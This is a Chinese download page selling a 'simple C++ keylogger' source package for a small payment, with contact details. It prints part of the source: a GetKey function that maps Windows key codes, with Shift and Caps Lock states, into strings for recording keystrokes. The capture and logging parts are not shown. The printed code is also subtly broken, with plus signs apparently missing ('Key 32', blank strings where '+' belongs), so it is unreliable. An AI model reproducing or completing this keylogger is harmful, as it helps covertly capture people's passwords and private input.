基本信息
源码名称:c++ 键盘记录器简洁版 源码下载
源码大小:6.98KB
文件格式:.zip
开发语言:C/C++
更新时间:2017-12-05
   友情提示:(无需注册或充值,赞助后即可获取资源下载链接)

     嘿,亲!知识可是无价之宝呢,但咱这精心整理的资料也耗费了不少心血呀。小小地破费一下,绝对物超所值哦!如有下载和支付问题,请联系我们QQ(微信同号):813200300

本次赞助数额为: 2 元 
   源码介绍

键盘记录器简洁版


#include <windows.h>
#include <Winuser.h>
#include <string>
#include <fstream>
#include <iostream>
using namespace std;

string GetKey(int Key) // 判断键盘按下什么键
{
string KeyString = "";
const int KeyPressMask=0x80000000; //键盘掩码常量
int iShift=GetKeyState(0x10); //判断Shift键状态
bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键

if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号
{
if(IS)
{
switch(Key)
{
case 48:{KeyString = ")";}break; //0
case 49:{KeyString = "!";}break; //1
case 50:{KeyString = "@";}break; //2
case 51:{KeyString = "#";}break; //3
case 52:{KeyString = "$";}break; //4
case 53:{KeyString = "%";}break; //5
case 54:{KeyString = "^";}break; //6
case 55:{KeyString = "&";}break; //7
case 56:{KeyString = "*";}break; //8
case 57:{KeyString = "(";}break; //9
}
}
else
KeyString = Key;
}

//对字母的大小写进行判断
if (Key >=97 && Key <= 122) // 字母:a-z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定
{
if(IS) {KeyString = Key;}else{KeyString = Key - 32;}  //Shift按下:为小写字母  否则  大写字母
}
else// 大写没有锁定
{
if(IS){KeyString = Key - 32;}else{KeyString = Key;}   // 按下Shift键: 大写字母  否则  小写字母
}
}

if(Key >=186 && Key <=222)
{
switch(Key)
{
case 186:{if(IS){KeyString = ":";}else{KeyString = ";";}}break;
case 187:{if(IS){KeyString = " ";}else{KeyString = "=";}}break;
case 188:{if(IS){KeyString = "<";}else{KeyString = ",";}}break;
case 189:{if(IS){KeyString = "_";}else{KeyString = "-";}}break;
case 190:{if(IS){KeyString = ">";}else{KeyString = ".";}}break;
case 191:{if(IS){KeyString = "?";}else{KeyString = "/";}}break;
case 192:{if(IS){KeyString = "~";}else{KeyString = "`";}}break;
case 219:{if(IS){KeyString = "{";}else{KeyString = "[";}}break;
case 220:{if(IS){KeyString = "|";}else{KeyString = "\\";}}break;
case 221:{if(IS){KeyString = '}';}else{KeyString = ']';}}break;
case 222:{if(IS){KeyString = '"';}else{KeyString = "'";}}break;
}
}

//判断键盘的第一行
if (Key == VK_ESCAPE){KeyString = "[Esc]";} // 退出
if (Key == VK_F1){KeyString = "[F1]";} // F1至F12
if (Key == VK_F2){KeyString = "[F2]";}
if (Key == VK_F3){KeyString = "[F3]";}
if (Key == VK_F4){KeyString = "[F4]";}
if (Key == VK_F5){KeyString = "[F5]";}
if (Key == VK_F6){KeyString = "[F6]";}
if (Key == VK_F7){KeyString = "[F7]";}
if (Key == VK_F8){KeyString = "[F8]";}
if (Key == VK_F9){KeyString = "[F9]";}
if (Key == VK_F10){KeyString = "[F10]";}
if (Key == VK_F11){KeyString = "[F11]";}
if (Key == VK_F12){KeyString = "[F12]";}
if (Key == VK_SNAPSHOT){KeyString = "[PrScrn]";} // 打印屏幕
if (Key == VK_SCROLL){KeyString = "[Scroll Lock]";} // 滚动锁定
if (Key == VK_PAUSE){KeyString = "[Pause]";} // 暂停、中断
if (Key == VK_CAPITAL){KeyString = "[Caps Lock]";}

//控制键
if (Key == 8){KeyString = "[Backspace]";} //<- 回格键
if (Key == VK_RETURN){KeyString = "[Enter]\n";} // 回车键、换行
if (Key == VK_SPACE){KeyString = "[Space]";} // 空格
if (Key == VK_LSHIFT){KeyString = "[Shift]";} // 左侧上档键
if (Key == VK_RSHIFT){KeyString = "[SHIFT]";} // 右侧上档键
if (Key == VK_TAB){KeyString = "[Tab]";} // 制表键
if (Key == VK_LCONTROL){KeyString = "[Ctrl]";} // 左控制键
if (Key == VK_RCONTROL){KeyString = "[CTRL]";} // 右控制键
if (Key == VK_LMENU){KeyString = "[Alt]";} // 左换档键
if (Key == VK_RMENU){KeyString = "[ALT]";} // 右换档键
if (Key == VK_LWIN){KeyString = "[Win]";} // 右 WINDOWS 键
if (Key == VK_RWIN){KeyString = "[WIN]";} // 右 WINDOWS 键
if (Key == VK_APPS){KeyString = "[菜单]";} // 菜单键(相当于鼠标右键)
if (Key == VK_INSERT){KeyString = "[Insert]";} // 插入
if (Key == VK_DELETE){KeyString = "[Delete]";} // 删除
if (Key == VK_HOME){KeyString = "[Home]";} // 起始
if (Key == VK_END){KeyString = "[End]";} // 结束
if (Key == VK_PRIOR){KeyString = "[PgUp]";} // 上一页
if (Key == VK_NEXT){KeyString = "[PgDown]";} // 下一页

// 不常用的几个键
if (Key == VK_CANCEL){KeyString = "[Cancel]";} // Cancel
if (Key == VK_CLEAR){KeyString = "[Clear]";} // Clear
if (Key == VK_SELECT){KeyString = "[Select]";} //Select
if (Key == VK_PRINT){KeyString = "[Print]";} //Print
if (Key == VK_EXECUTE){KeyString = "[Execute]";} //Execute

//上、下、左、右键
if (Key == VK_LEFT){KeyString = "[←]";}
if (Key == VK_RIGHT){KeyString = "[→]";}
if (Key == VK_UP){KeyString = "[↑]";}
if (Key == VK_DOWN){KeyString = "[↓]";}
if (Key == VK_NUMLOCK){KeyString = "[NumLock]";}  //小键盘数码锁定

// 加、减、乘、除
if (Key == VK_ADD){KeyString = " ";}
if (Key == VK_SUBTRACT){KeyString = "-";}
if (Key == VK_MULTIPLY){KeyString = "*";}
if (Key == VK_DIVIDE){KeyString = "/";}
if (Key == 190 || Key == 110){KeyString = ".";} // 小键盘 . 及键盘 .

//小键盘数字键:0-9
if (Key == VK_NUMPAD0){KeyString = "0";}
if (Key == VK_NUMPAD1){KeyString = "1";}
if (Key == VK_NUMPAD2){KeyString = "2";}
if (Key == VK_NUMPAD3){KeyString = "3";}
if (Key == VK_NUMPAD4){KeyString = "4";}
if (Key == VK_NUMPAD5){KeyString = "5";}
if (Key == VK_NUMPAD6){KeyString = "6";}
if (Key == VK_NUMPAD7){KeyString = "7";}
if (Key == VK_NUMPAD8){KeyString = "8";}
if (Key == VK_NUMPAD9){KeyString = "9";}

//-------------------------------------------//

if (Key != VK_LBUTTON || Key != VK_RBUTTON)
{
if (Key >=65 && Key <=90) //ASCII 65-90 为A-Z
{
if (GetKeyState(VK_CAPITAL)) // 大写锁定
{
if(IS){KeyString = Key 32;}else{KeyString = Key;}  //且按下上档键:输出为小写字母  否则  输出为大写字母
}
else // 大写没有锁定
{
if(IS)
{
KeyString = Key;
}
else
{
Key = Key 32;
KeyString = Key;
}
}
}
}
return KeyString;
}